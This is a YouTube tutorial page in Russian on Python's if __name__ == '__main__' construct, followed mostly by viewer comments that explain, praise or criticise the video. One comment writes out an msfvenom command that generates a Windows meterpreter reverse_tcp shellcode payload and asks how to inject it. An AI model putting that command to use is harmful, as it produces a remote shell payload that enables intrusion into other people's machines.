Вы должны использовать это в Python | if __name__ == '__main__' (Все фишки и ошибки конструкции)

Поділитися
Вставка
  • Опубліковано 5 лют 2025
  • ⭐ Курс ООП и Приват канал: www.zproger-sc...
    ⭐ Телеграм канал: t.me/+EeRrfX3j...
    Как пользоваться if _name_ == "__main__", как это работает, зачем нужно использовать в ваших Python проектах? Все эти вопросы мы рассмотрим в данном видео и также сделаем упор на фишки этой конструкции и основные ошибки, которые допускают новички.
    Многие изначально не понимают для чего именно её применять, так вот в рамках этого видео мы разберем это на самых подробных примерах, вы сможете полностью понять смысл этой конструкции.
    📁 Github: github.com/Zpr...
    📁 Все плейлисты с уроками: bit.ly/39GaY89
    📁 Связаться со мной: zproger777@gmail.com
    📁 Поддержать криптовалютой: github.com/Zpr...

КОМЕНТАРІ • 261

  • @YourCloseCoop
    @YourCloseCoop 2 роки тому +163

    В двух словах: __name__ это переменная, выводящая имя объекта. Если не используется как атрибут какого-то объекта (class.__name__), а просто в файле (__name__), то выводит имя файла. Если вы импортируете typing, например typing то __name__ этого модуля будет равен "typing". Но если вы запустите в терминале сам этот файл, то его __name__ будет равна "__main__". Другим языком, всё, что под конструкцией if __name__=="__main__" выполнится только если вы запустите это файл.

    • @sergeyalekseev2816
      @sergeyalekseev2816 2 роки тому +1

      Спасибо!!!!

    • @LeoPlus
      @LeoPlus 2 роки тому

      От души!

    • @LeoPlus
      @LeoPlus 2 роки тому +2

      Ещё бы подсказал как это использовать в телеграмм боте)

    • @lbbMHz
      @lbbMHz 2 роки тому +1

      @@LeoPlus а зачем это использовать в телеграм боте?

    • @kirillchebodaev2244
      @kirillchebodaev2244 2 роки тому

      Спасибо

  • @karkozov
    @karkozov Рік тому +26

    -никто не уйдёт не поняв, я подготовил много примеров
    *называет файл main чтоб объяснить, что такое **__main__*
    -сейчас тут все запутано, потому что файл называется main 😂

  • @wcst6324
    @wcst6324 2 роки тому +107

    Ну обьяснение для новичка такое себе.... Ты со своей колокольни мб и понимаешь что говоришь, а для новичка всё равно ничего не обьяснил. Что, зачем и почему.
    Ну и чтобы не только критиковать, скажу как я это понял из другого видоса:
    Допустим у нас есть два модуля (2 файла .py)
    Нам для своих целей нужно запустить первый файл из второго, но не сразу, а после определенных действий во втором файле.
    Для этого естественно нам нужно импортировать первый файл во второй.
    Тут и раскрывается особенность конструкции name=main
    Если данную конструкцию не вписать в импортируемый файл(первый).
    То при импорте ПЕРВЫМ делом мы запустим функцию из первого файла, а только потом уже перейдем к коду из второго файла.
    Легче конечно на примере обьяснить, но мб кому-то это поможет

    • @yourcar2389
      @yourcar2389 2 роки тому +16

      Из твоего объяснения понял больше, чем из видел

    • @АлексейТверской-д3ъ
      @АлексейТверской-д3ъ 2 роки тому +2

      действительно, понятней, спасибо

    • @АлиАлисултанов-й2у
      @АлиАлисултанов-й2у 2 роки тому +2

      а почему нельзя просто прописать import после определенных действий во втором файле, а не сразу? Ведь import как раз таки и исполняет весь код импортируемого файла

    • @RoKivals
      @RoKivals 2 роки тому +6

      @@mahmutoff потому что это основа работы с многофайловыми программами, как только ты начнёшь писать хотя бы больше 50 строк, это пригодится. Объяснение в видео реально очень плохое. Запутанно намешано и так далее. Можно было намного проще и понятнее объяснить

    • @denoslaw
      @denoslaw 9 місяців тому +2

      Спасибо за объяснение. Братцы, я с вами, тоже не вдуплял, гуляя по видосам

  • @vladyslavpsht6097
    @vladyslavpsht6097 2 роки тому +8

    Автору респект, я начал только учить C# ( ну вот прям совсем только, строки короче ))) и прям понял про что он, чувствую на будущее прям маст хэв к применению... Руки чешутся писать ;)

    • @zproger
      @zproger  2 роки тому +3

      Значит надо продолжать =)

  • @flexyyyapk
    @flexyyyapk 2 місяці тому +1

    if ___name___ == "__main__": Нужна в большинстве случаев для тех, кто делает библиотеку.Допустим вы делаете библиотеку для расшифровки/перевода текста.Вы делаете основную функцию main() которая выполняет что то, так сказать для демонстрации.Но если вы импортируете, то эта функция запуститься, а вам это не надо, для этого эта конструкция и существует.
    В двух словах:
    У вас есть класс и там функция которая удаляет корень винды.И в конце есть функция которая демонстрирует выполнение этого класса, и вызывает эту функцию.Чтобы такого не было, существует эта конструкция.

  • @александргончар-щ2е
    @александргончар-щ2е 2 роки тому +27

    Спасибо большое. Стал на шаг ближе к пониманию темы.

  • @danielkhatib9472
    @danielkhatib9472 Рік тому +4

    Спасибо что помог ускорить понимание данной темы ,по книге читал читал не мог понять, видимо мало примеров

  • @fedorivanov8420
    @fedorivanov8420 2 роки тому +60

    Полного понимания не появилось) Я так размечаю точку входа и все. И в чужом коде ищу эту точку, чтобы понять откуда начинать.

    • @rokot
      @rokot 2 роки тому +5

      Мне кажется, это только в команде (где твориться сущий беспорядок) даёт понять другим программистам, что программа не модуль.

    • @deroteron
      @deroteron 2 роки тому +5

      Подмечу что этот комментарий был проигнорирован, и автор отвечает только тем кто понял, по типу "пожалуйста" "рад помочь"
      и т.д.

    • @zproger
      @zproger  2 роки тому +5

      Можно и так делать. Понимание придет уже на практике и во время экспериментов. Я попытался объяснить максимально просто, но всё равно без проработки это нельзя понять сразу

    • @zproger
      @zproger  2 роки тому +4

      Отвечаю всем, но не сразу, так как много приходит комментариев с разных видео =)

    • @TheCubianChain
      @TheCubianChain 2 місяці тому

      ​@@zprogerя не знаю что такое модуль и библиотека, а ты мне углубления про эти понятия объясняешь. На кого это видео было расчитано? Не для новичков уж точно

  • @K-RACUBO
    @K-RACUBO Рік тому

    Ты лучший, сидел 2 часа мучился с проблемой, когда импортировал свой код он автоматически начинал запускаться. В итоге все приводило к циклическому импорту)

  • @sowt007
    @sowt007 Рік тому +2

    Наконец то стало понятно!) Спасибо!

  • @lonesome2702
    @lonesome2702 2 роки тому +2

    Хоть и не особо разбираюсь в программировании, но после переслушивания и пересматривания стало понятнее, почему это используют

  • @Mr.Alex_fps
    @Mr.Alex_fps Рік тому +1

    Спасибо, хорошо объяснил! Вот тебе коммент для поддержки)

    • @zproger
      @zproger  Рік тому

      Благодарю!

  • @Vector_05
    @Vector_05 7 місяців тому +3

    Браток, такое ощущение, что ты объясняешь сам себе. Так сказать мысли вслух. Учитель из тебя никакой. Ни чего не пончл из того, что ты накидал в кучу 😂

  • @RuslanKorchagin
    @RuslanKorchagin 2 роки тому +6

    if __name__ == "__main__": Использую, для тестов библиотеки. Т.е. если я пишу библиотеку, но хочу ее протестировать, я просто в ифмэйннейм прописываю тесты функций библиотеки и запускаю библиотеку как программу. Второе, это экранирование в случае многопоточности. При вызове дочернего процесса нельзя запускать повторно код основного процесса и для этого его и помещают в ифнейммэйн

  • @АндрейНИКАНОВ-у1м
    @АндрейНИКАНОВ-у1м 2 роки тому +2

    Ни чего не понятно. Не прочитав ни одной книги полностью, задам вопрос. Есть 2 файла: program и functions. Первый это основной и главный файл, второй это набор функций. Импортируем func в prog и вызываем из него в нужном месте нужные функции так: functions.имяфункции(). Или я что то не так понял?

  • @ViktorTolmachev
    @ViktorTolmachev Рік тому +1

    Спасибо за видео!
    А я не раз замечал, что эту конструкцию использую одновременно с ООП, что ещё более запутывает, так как подход там не такой, как пишут в учебниках.

  • @skydsher8942
    @skydsher8942 Рік тому

    Очень крутой гайд! Спасибо огромное!

  • @SkveerBoy
    @SkveerBoy 2 роки тому +6

    Полезное видео спасибо )

    • @zproger
      @zproger  2 роки тому

      Рад что понравилось =)

  • @ItsGame228
    @ItsGame228 2 роки тому +1

    Как я понял, это нужно для того что бы понять модуль это или нет. Если это модуль, мы не запускаем основную функцию main() ( entry point ). Если запускаем это как основной файл, мы выполняем все что стоит после If name = main. Сделано для того что бы случайным образом не помешали выполнению кода, так как все переменные будут глобальные, то есть если в первом файле i = 5 то во втором i = 6, и тогда уже первая переменная будет равна второй, потому что присвоили новое значениe

  • @elnurbda
    @elnurbda 2 роки тому +3

    Большое спасибо за видеоролик!

  • @Hekysei
    @Hekysei Рік тому +1

    Ку.
    Точно могу сказать, что ролик полезный, особенно для новичков вроде меня. Большое спасибо.
    Также хочу узнать, какую ось использует автор?

    • @zproger
      @zproger  Рік тому

      Благодарю, тут Zorin OS, в новых видео Arch Linux

    • @Hekysei
      @Hekysei Рік тому

      @@zproger понял, спасибо. Можно узнать причину перехода с Zorin на Arch?

  • @TheCubianChain
    @TheCubianChain 2 місяці тому

    У новичка который освоил только базу языка появилось только больше вопросов, обьяснил ты понятно наверное Только для какого нибудь мидла

  • @TheAgressor13
    @TheAgressor13 10 місяців тому +1

    Спасибо, наконец-то понял

  • @_Kruzo_
    @_Kruzo_ Рік тому +1

    Спасибо автору за труды, он хороший программист, но объяснять материал увы, не его конек😊

  • @SSSuzd
    @SSSuzd 6 місяців тому

    А вот скажите, если импортировать всю библиотеку в программе в которой используется лишь одна функция из библиотеки то при компиляции скомпилируются все функции из библиотеки(т.е. неиспользуемые тоже) или лишь необходимые? Да, я скорее не про питон, но питон тоже интересует как он интерпретирует, всё или только необходимые.

  • @knarg4682
    @knarg4682 21 день тому

    Для чего нужна привязка к "main"? -- для того чтобы при импорте не запускался на выполнение весь код файла (а иначе он обязательно весь отработает, потому как inport подразумевает создание пространства имён в памяти. И происходит это только один раз. Поэтому невозможно "закольцевать" в бесконечный цикл два взаимно импортирующих модуля, код в каждом будет выполнен только первый раз. И поэтому бесполезно пытаться через повторный import восстановить изменённые значения в импортированном пространстве, поможет только importlib.reload().
    Заглушка "if main" позволяет файлу запуститься обычным образом при непосредственном обращении, а если не main, то просто на этом факте и останавливается.
    Что это означает в практическом смысле? А означает, что если написанный код никаким образом не подразумевается использовать в качестве подгружаемого модуля другой программы, то никакой "if main" НЕ НУЖЕН. Если код подразумевает обязательный автоматический запуск всего своего содержимого, независимо, откуда и как он вызван (как модуль this), то никакой "if main" НЕ НУЖЕН. Если в коде нет ни одной комады на выполнение (как модуль string, где просто набор шаблонов), то никакой "if main" НЕ НУЖЕН. Их там и нет, можете убедиться.
    И очень плохой тон -- пытаться натягивать стандарты и определения одного языка на другой. Питон -- не Си, не Раст и не Джава, это даже не ТайпСкрипт, не ПХП и не Бэйсик, это Питон. То же самое касается попыток навязывать "сорок лет назад так делали, деды завещали, просто делай это, не думай, за тебя уже подумали, так принято..." Не принято))) Даже в PEP этого нет, даже стилизаторы типа pycodestyle или mypy (уточню, в режиме --strict он даже за функцию без явно прописанного return хай поднимает) ни мур-мур.
    Всегда надо думать и понимать, ДЛЯ ЧЕГО "это", а уже после делать или не делать.

  • @Мастерредстоуна-ш5ц
    @Мастерредстоуна-ш5ц 7 місяців тому

    СПАСИБО БОЛЬШОЕ

  • @DUB-bm9tq
    @DUB-bm9tq 8 місяців тому

    Надеялся, что это видео после 4-ёх лет разработки убедит меня использовать точку входа Python, но только лишний раз понял, что на моей практике ни разу не пригодилось.

  • @anonsd5521
    @anonsd5521 Рік тому +1

    Хороший тон для программиста: использовать эту конструкцию.
    Хороший тое для python программиста: Не использовать эту конструкцию, ведь главный файл в хорошо сконструированном проекте всегда один и такой человек никогда не импортирует майн файл

  • @flamingastheburning164
    @flamingastheburning164 2 роки тому +17

    Пишу на срр, не питонист, вскользь с ним сталкивался только, но для общего развития было весьма интересно, подача хорошая. А ко не понял сразу - поймут только опытом и практикой, это не редкость, что суть материаь доходит только через опыт и повторение)

  • @twincc8901
    @twincc8901 2 роки тому +1

    Тоисть if name = main позволяет импортировать функции из кода в другой код я так понел? И даёт возможность смотреть где функция находиться в в main классе или в каком-то другом

  • @RockstarAlexander
    @RockstarAlexander 2 роки тому +1

    Четко 👍

    • @zproger
      @zproger  2 роки тому

      Спасибо =)

  • @intermilan7011
    @intermilan7011 Рік тому

    Благодарю за ваш труд❤

  • @Karaku228
    @Karaku228 2 роки тому +2

    Накидайте мужику лайков за старания, чего вы жмотитесь, люди.

    • @zproger
      @zproger  2 роки тому +2

      Спасибо 🥰

  • @volant111studio
    @volant111studio 7 місяців тому +2

    С каких это пор main() стала стандартом точки входа в PE-файле? Линковщику можно передать указатель на любую функцию и он её поставит как точку входа. Он вообще не знает ничего про язык, на котором написана программа, у него только список адресов ф-ий и информация о том, какая стартовая.
    А уж рассказ про ВСЕ языки вообще ужос-ужос. main() есть в Си-подобных языках, но её нет в перле, пхп и т.д.

  • @СергейГерниченко-о4о

    Прошло 5 минут, фраза одна и та же уже раз 100 повторена. Где суть?

  • @5vFreeNz
    @5vFreeNz 2 роки тому +2

    Спасибо!

  • @PersonalTradingDiary
    @PersonalTradingDiary Рік тому

    Немного не понял, если импортировать модуль с проверкой if __ name__ == '__main__'. То будет ли импортирована функция main() из модуля? Если да, то как это всё будет работать когда в основном скрипте так-же весь код будет обёрнут в функцию main() с вышеописанной проверкой, будут ли какие-то конфликты разных функций main()? Или просто функция из основного скрипта будет всегда перезаписывать импортируемые функции main() из возможных модулей?

  • @vdmebelsborka2591
    @vdmebelsborka2591 2 роки тому +2

    Спасибо

  • @MR-gz7pl
    @MR-gz7pl 2 роки тому +1

    Ты самый топовый чувак )

    • @zproger
      @zproger  2 роки тому

      Спасибо, это мотивирует 🙂

  • @itwastried
    @itwastried Рік тому

    Вопрос не по теме: а какой у Вас Линукс на видео? Выглядит красиво

  • @Яна-ы2ъ9э
    @Яна-ы2ъ9э 2 роки тому +2

    Что за ОС и оболочку используешь?

  • @ruslantarasevich3727
    @ruslantarasevich3727 Рік тому

    Привет! Спасибо за видеоролики. А есть у Питона библиотеки для dsp или fpga?

  • @Himera1983
    @Himera1983 11 місяців тому

    после слов точка входа , значения и глобал я перстал что то понимать . поздравляю все ушли без понимания

  • @Anshegar
    @Anshegar Рік тому

    Как ты с помощью этого цикл импорта исправишь? Циклы импорта исправляются по другому.
    Пока для данной концструкции вижу только 2 применения, это показать точку входа и задавать уникальные , так сказать резервные, точки входа для уникальных редких задач. (обычно когда проект большой и строится из разных малых подпроектов)

  • @saga5367
    @saga5367 2 роки тому +2

    Можно узнать что за плагин с такой цветокоррекцией?

    • @zproger
      @zproger  2 роки тому

      Github dark

    • @saga5367
      @saga5367 2 роки тому

      @@zproger благодарю

  • @kozsv
    @kozsv 2 роки тому +6

    Очень интересно ннп, смотрю уже у второго про это найм Майн, чуть лучше но один фиг смутно всё

    • @zproger
      @zproger  2 роки тому

      Вроде всё достаточно просто

    • @roazanas
      @roazanas 2 роки тому +1

      Ну во-первых, это просто декоративно, легче понять где начинается сама программа.
      Во-вторых, если ты будешь писать программу, например, для разных видов сортировок и оформишь её через функции, то сможешь в той же программе сделать тесты через if name main, где вызовешь все функции.
      Тогда при основном запуске программы, ты будешь тестировать сортировки, а при импорте из другой программы использовать функции, при этом не вызывая тест-кейсы

    • @evgenkeba1656
      @evgenkeba1656 2 роки тому

      Вот, вот, точно так же и у меня! Посмотрел много роликов, но так до конца и не понял!

    • @perf2.078
      @perf2.078 2 роки тому

      В общем, есть кусок кода. Если он основной файл, то выполняется всё (точнее то, что определено в функции main или какой-ещё явно указанной после разбираемой конструкции). Но этот же файл можно импортировать в другой файл через import, и тогда это будет уже библиотека, и из первого файла можно не всё брать, а только те функции, которые нужны для другого файла. Ну и переменные будут отличаться, как сказано в конце.

    • @bratka4636
      @bratka4636 2 роки тому

      @@roazanas читаю ..... вроде понятно, понимаю потом что ничего не понятно)))) за запуск как модуля я понял что код не будет выполнен так как нету условия(нейм) а за точку запуска ничего не понял.... но это пока что

  • @andreykuznetsov8096
    @andreykuznetsov8096 2 роки тому +3

    А почему меня должно волновать, что кто-то пытается запустить модуль? Ну пусть запускает, мне то что?

    • @zproger
      @zproger  2 роки тому

      Если вы написали библиотеку а кто-то запускает её напрямую, то нужно как правило выполнить другой код, а тут надо понимать как именно софт был запущен.

  • @ПашаДомосед
    @ПашаДомосед Рік тому

    А меня одного смутило, что в примере if _name_ ОДИН знак равно, а не два, однако PyCharm не выдал ошибку? Или это не влияет на работу программы?

    • @aiocringe
      @aiocringe Рік тому

      у него просто оформление такое, знаки сливаются(Как и с __name__, там дублируется нижнее подчёркивание)

  • @ВалерийБарсов-ы1я

    Всё мозги разбил на части, всё извилины заплел

  • @no-user-found
    @no-user-found 9 місяців тому

    Наврал.
    Я привык пользоваться
    if __name__ == '__main__':
    code
    и, думал, мне наконец объяснят здесь чем она хуже чем
    def main():
    code
    if __name__ == '__main__':
    main()
    Но я всё ещё не чувствую дополнительного профита

    • @Majohne
      @Majohne 8 місяців тому

      Так принято

  • @Dav1dBlaine
    @Dav1dBlaine 9 місяців тому

    как новичок нихуя не понял но было интересно.

  • @freshmotion5401
    @freshmotion5401 2 роки тому +2

    Интересное видео... не нашла в инете.можно ли в принципе посмотреть код любого бота ..например в телеграмме?

    • @zproger
      @zproger  2 роки тому

      Напрямую в телеграмм нельзя)

  • @Magic_kch
    @Magic_kch 5 місяців тому

    Только сегодня, при написании забыл добавить if main == name, потом сидел тупил почему не тот код выполняется😂😂😂

    • @zproger
      @zproger  5 місяців тому

      Сюрпризы еще будут если забыть добавить при использовании multiprocessing :)

  • @sergsangels
    @sergsangels 2 роки тому

    Бубу бубубубубубу приходиться нажимать паузу или медленнее говорилку, следующее видео записуй на х4 для людей с высоким IQ , можно было сказать что делаем функцию main и пишем туда весь код как в любом языке и все, но небольшие скрипты можно и без main писать, это может делать python в отличие от других языков.

  • @ильяНиколаев-ш3ч
    @ильяНиколаев-ш3ч 8 місяців тому

    Спросил у chat GPT получил короткий, понятный ответ с примерами.

  • @Putu_pererenan
    @Putu_pererenan 7 місяців тому

    в пхп нет никакой точки входа, все прекрасно работает

  • @artyombelash6928
    @artyombelash6928 2 роки тому +1

    классное видео, все понятно)
    скажи пожалуйста тему для пайчарма, которую используешь, очень понравилась)

    • @zproger
      @zproger  2 роки тому +1

      либо Dracula либо Github Dark

    • @artyombelash6928
      @artyombelash6928 2 роки тому

      @@zproger спасибо)

  • @mlr__roal_6867
    @mlr__roal_6867 Рік тому

    У меня проблема - хочу запускать процесс из библиотеки!!! А под виндовсом это не работает!

  • @Zhuravskiy
    @Zhuravskiy 2 роки тому +5

    никогда не используйте import *, везде и все об этом пишут, а тут все примеры с import *

    • @overkkk9007
      @overkkk9007 Рік тому

      А почему?

    • @DarkRootChannel
      @DarkRootChannel Рік тому

      @@overkkk9007 Может возникнуть конфликт переменных из-за одинаковых названий

  • @jkaktuskaktus
    @jkaktuskaktus 2 роки тому +3

    Крутой и полезный видос, автору спасибо). if __name__ == "__main__": like_video()

    • @zproger
      @zproger  2 роки тому +1

      Благодарю =)

  • @ForseNight
    @ForseNight Рік тому

    Короче прикол в том что это как общая черта всех языков, почти везде есть буква а в алфавите, но там где её нет было бы хорошо хобы уметь её произносить. Наверное для взаймопонимания или хз, традиция проще говоря, это уже связано не с языком программирования, а с нами. Наверное надо C++ подучить чтоб понять лучше в чём дело.

  • @polukrovka3457
    @polukrovka3457 Рік тому

    а как таую ошибку в пай чарме исправить

  • @vladoriginkos
    @vladoriginkos 2 місяці тому

    Я ж верно понял, что __name__ даёт название текущего файла(в котором исполняется код на данный момент), __main__ - название файла, с которого запускаются остальные? Если да,то все понял с первого раза

  • @greatgoltz
    @greatgoltz 2 роки тому +1

    У вас ник с чем связан? А то видос смотрю, но терзают смутные сомнения

    • @zproger
      @zproger  2 роки тому +1

      Точно не с политикой) нику 3 года

  • @MilcFord
    @MilcFord 9 місяців тому

    Не пому понять до конца эту тему. И тут тоже не приблизился к полному понимаю.

  • @alexandermartin5694
    @alexandermartin5694 2 роки тому

    Ничего бы не понял, если бы не знал.
    Для тех кто не знал и не понял:
    Если не изменяет память, так как выражение не использую в своих программах, а со временем просто забываются такие вещи, всё, что стоит под этим выражением, не может использоваться для импорта в других файлах.

  • @Wise_al9
    @Wise_al9 2 роки тому +1

    Хорош

    • @zproger
      @zproger  2 роки тому

      Спасибо =)

  • @goshaposhlyy
    @goshaposhlyy 2 роки тому +4

    Спасибо большое тебе , лучшее объяснение

    • @zproger
      @zproger  2 роки тому

      Благодарю!

    • @rokot
      @rokot 2 роки тому

      Если честно, я так и не понял. Я услышал, что это правило хорошего тона. Позволяет другим программистам понять, что это не модуль. Выявить ошибку, если на линуксе делаешь бесконечные циклы.

    • @zproger
      @zproger  2 роки тому +2

      Это не перевод, не нужно говорить то, чего не знаете!

  • @OasisWordLessons
    @OasisWordLessons 2 роки тому +1

    До просмотра мало что было понятно . После просмотра и то что знал забыл.

  • @sariya271
    @sariya271 2 роки тому +1

    что за тема в чарме?

  • @fahrenheit1863
    @fahrenheit1863 2 роки тому

    А если при импорте переопределяться сама функция _main_ .

  • @mantrida
    @mantrida 6 місяців тому

    Полезно понимать, что при импорте файла исполняется весь код записанный в этом файле. Если мы не хотим, чтобы исполнялся весь код, а хотим, например, только использовать функции объявленные в модуле, тогда и помогает этот иф нейм.
    Про то, что только в Пайтоне нет точки входа, а во всех остальных языках есть - чушь.

  • @pinfold3201
    @pinfold3201 Рік тому

    все не могу привыкнуть к f"", как же приучить то себя

  • @justforfun-yc4xz
    @justforfun-yc4xz 2 роки тому +1

    Куда же без функции для хака Пентагона 😁

    • @zproger
      @zproger  2 роки тому

      Вот и я о том же :D

  • @smgbdr4338
    @smgbdr4338 2 роки тому

    Спасибо, но грустно смотреть очередное видео, где автор говорит, что поймёт каждый, а ты без людей в комментариях реально не разберёшься

  • @master8920
    @master8920 2 роки тому +1

    спс ролик нужный, продолжай 🔥🔥🔥

    • @zproger
      @zproger  2 роки тому

      Благодарю!

  • @pavelgs7725
    @pavelgs7725 2 роки тому +2

    Подскажи пожалуйста, какая у тебя стоит тема в pycharm

  • @ryu8777
    @ryu8777 2 роки тому +1

    Ничего непонятно, но очень интересно

  • @magdarever2967
    @magdarever2967 2 місяці тому +1

    ...назвать модули хотя бы "first_module" и "second_module" не судьба? Прям вот надо было "main", чтоб жизнь медом не казалась, да?

  • @psimera
    @psimera 2 місяці тому +1

    ты только больше запутал. зачем импортируемый фаил в примере называть main а основной mylib и выдавать сообщение что это не либа... бред какой-то. да и вообще для более понятного объяснения можно было не называть фаил main чтобы не было путаницы у тех кто не понимает ещё о чём речь о файле, о имени в глобал переменных или о чём вообще. я в итоге разобрался, но ты только усложнил это

  • @luispakvard5681
    @luispakvard5681 2 роки тому +2

    А вы делали инъекцию шел кода? потому что я сделал все как в книге "Gray Hat Python" а у меня совсем не работает у меня Python 3.8.9 . Я генерю шелкоды через msfvenom который в Kali Linux на флешке
    как то так msfvenom -p windows/x64/meterpreter/reverse_tcp EXITFUNC=thread lhost= lport=6982 -b '\x00\x0a\x0d' --encrypt base64 -f c там еще нужно заменить айпи адрес скриптом через replace а я не знаю как это сделать если шелкод закодирован

    • @zproger
      @zproger  2 роки тому

      Это сильно зависит от архитектуры и прочих факторов. Читал эту книжку и пробовал делать примеры, правда там есть тонкости и надо ассемблер понимать хотя бы на базовом уровне.

    • @luispakvard5681
      @luispakvard5681 2 роки тому

      ​@@zproger А если я устанавливаю pyenvом другую версию питона и pyenv local 2.5.1, а потом создаю новое виртуальное окружение python -m venv mynewenv то мне приходиться менять вручную настройки в pyvenv.cfg и activate.bat потому что оно не подхватывает настройки новоустановленного питона и взяло PYTHONPATH из системных переменных установленного питона на диске C так и должно быть?

  • @Pe30HaHs
    @Pe30HaHs Місяць тому

    По факту это защита от обхода обфускации

  • @АртёмКраус-ъ1ф
    @АртёмКраус-ъ1ф 2 роки тому +1

    Что за дистрибутив и рабочее окружение?

  • @walcermelodia
    @walcermelodia 2 роки тому +1

    Как сделать нижнне подчеркивание ровным в pycbarm'е? У меня просто if __main__ ... выглядит, прямо как в названии видео :(

    • @АлексейДемьянов-ь9м
      @АлексейДемьянов-ь9м 2 роки тому +1

      Ничего не понял, но попробуй поменять тему в настройках, она вместе с шрифтом меняется

    • @zproger
      @zproger  2 роки тому

      Оно так по дефолту в плагине MaterialUI

  • @niva622
    @niva622 2 роки тому

    Спасибо тебе добрый человек, вместе мы становимся лучше)

  • @pcbuild4282
    @pcbuild4282 2 роки тому

    Только запутал, на середине ролика вырубил ибо начал терять смысл.

  • @PLAYCHANIN
    @PLAYCHANIN 2 роки тому +2

    Ты сказал что никто не уйдёт отсюда ничего не поняв, но я нихрена не понял ((

    • @zproger
      @zproger  2 роки тому

      Как так :0

  • @ИмяФамилия-з3т8ц
    @ИмяФамилия-з3т8ц 2 роки тому +2

    Тема не для новичков. С третьего раза понял. Спасибо

    • @zproger
      @zproger  2 роки тому

      Главное что поняли, это важно =)

  • @islamGM09
    @islamGM09 2 місяці тому

    Назвав файл мэйн всё сильно запуталось, сам понял только с 3 раза😅

  • @meltoroun
    @meltoroun 2 роки тому +1

    У Вас gnome? :)

    • @zproger
      @zproger  2 роки тому

      Это стандартная оболочка от Zorin OS

  • @artembagachkov933
    @artembagachkov933 2 роки тому

    Одна строка, а столько смысла

  • @Lexus-w4r
    @Lexus-w4r 2 роки тому +1

    Очень интересно, но пока я все равно не понял ничего =))

    • @zproger
      @zproger  2 роки тому

      Что именно не понятно?

  • @ДмитрийКрашенинников-г7ш

    Спасибо за видео, но ты что-то быстро так говоришь. 😢

    • @zproger
      @zproger  Рік тому

      Стараюсь контролировать скорость речи, но не получается.
      Говорю как можно медленней, потом смотрю запись а там все 200 бпм.

    • @ДмитрийКрашенинников-г7ш
      @ДмитрийКрашенинников-г7ш Рік тому

      @@zproger все равно спасибо, ты - Гуру.

  • @TheStrix1
    @TheStrix1 7 місяців тому

    ппц все эти функции .. (( а потом не знаешь как из одной функции передать переменную в другую (( а мейн нейм вообще для меня темный лес все равно ((

  • @VictoryStep
    @VictoryStep 8 місяців тому

    на середине я уснул.

  • @Tosha.V
    @Tosha.V 2 роки тому +1

    функция хака пентагона)))

  • @shimoda47
    @shimoda47 2 роки тому

    Я впервые столкнулся с if __name__=="__main__" когда начал работать с потоками. Потому что они без этой строчки не работают. Но теперь я не знаю как заставить их работать не в отдельном скрипте, а как раз как библиотека потому что выполняя из другого скрипта там уже name не main

  • @МаксимМячин-н6р
    @МаксимМячин-н6р 2 роки тому +1

    Объяснение очень интересное, но я хочу уточнить небольшие детали.
    К примеру, я создаю файл "renders_text_color.py", записываю туда все функции по рендерингу текста в определенных сценах игры, а в конце кода добавляю:
    if __name__ == '__main__':
    pass
    А в другом файле я импортирую "from renders_text_color import *" прописываю сцены, и в каждой сцене я беру функцию и импортированного файла для отображения текста.
    А теперь вопрос:
    1. Стоит ли мне установить какое-либо действие вместо "pass", если я собираюсь в том файле хранить только функции для использования в основном коде?
    2. И что будет происходить в основном коде, если я буду указывать функцию из того файла в определенных сценах, но в том файле не пропишу эти две строчки?
    P.S.
    Я в программировании еще новичок, образование по программировании не имею, английским владею только на 30 из 100 баллов.
    Буду раз, если сможете мне объяснить так, чтоб даже дурак понял.

    • @iliyasone
      @iliyasone 2 роки тому

      ничего не будет, вообще не нужно писать тогда эти 2 строчки.

  • @goodwin_for_you
    @goodwin_for_you 2 роки тому +2

    Всё равно непонятно, не хватает подробного разбора примеров.

    • @zproger
      @zproger  2 роки тому

      Так а какие примеры? В реальных проектах просто заглушка вставляется и всё